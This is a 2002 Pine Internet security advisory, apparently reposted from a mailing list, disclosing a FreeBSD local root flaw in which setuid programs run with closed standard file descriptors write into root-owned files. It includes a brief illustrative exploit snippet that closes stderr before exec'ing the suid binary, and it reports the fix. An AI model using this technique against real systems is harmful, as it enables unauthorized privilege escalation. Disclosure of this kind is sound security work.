Pine Internet Advisory: Setuid application execution may give local root in FreeBSD

[Patrick Oonk <patrick () pine nl>]

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 Pine Internet Security Advisory
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 Advisory ID       : PINE-CERT-20020401
 Authors           : Joost Pol <joost () pine nl>
 Issue date        : 2002-04-22 
 Application       : Multiple
 Version(s)        : Multiple 
 Platforms         : FreeBSD confirmed, maybe others.
 Vendor informed   : 20020406 
 Availability      : http://www.pine.nl/advisories/pine-cert-20020401.txt
 -----------------------------------------------------------------------------

Synopsis

        It is possible for a local user to execute a suid application with 
        stdin, stdout or stderr closed.

Impact

        HIGH. Local users should be able to gain root privileges. 

Description

        Consider the following (imaginary) suid application:

        -- begin of imaginary code snippet

                FILE * f = fopen("/etc/root_owned_file", "r+");

                if(f) {
                
                        fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);

                        fclose(f);
                }

        -- end of imaginary code snippet
                
        Now, consider the following (imaginary) exploit:

        -- begin of imaginary exploit snippet

                while(dup(1) != -1); 

                close(2);

                execl("/path/to/suid_application",
                      "this text will endup in the root_owned_file", 0);

        -- end of imaginary exploit snippet

        Exploitation has been confirmed using the S/KEY binaries. 

Solution

        FreeBSD source trees have been updated on the 21th of april 2002. 
        Please cvsup.


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-- 
 patrick oonk - pine internet - patrick () pine nl - www.pine.nl/~patrick
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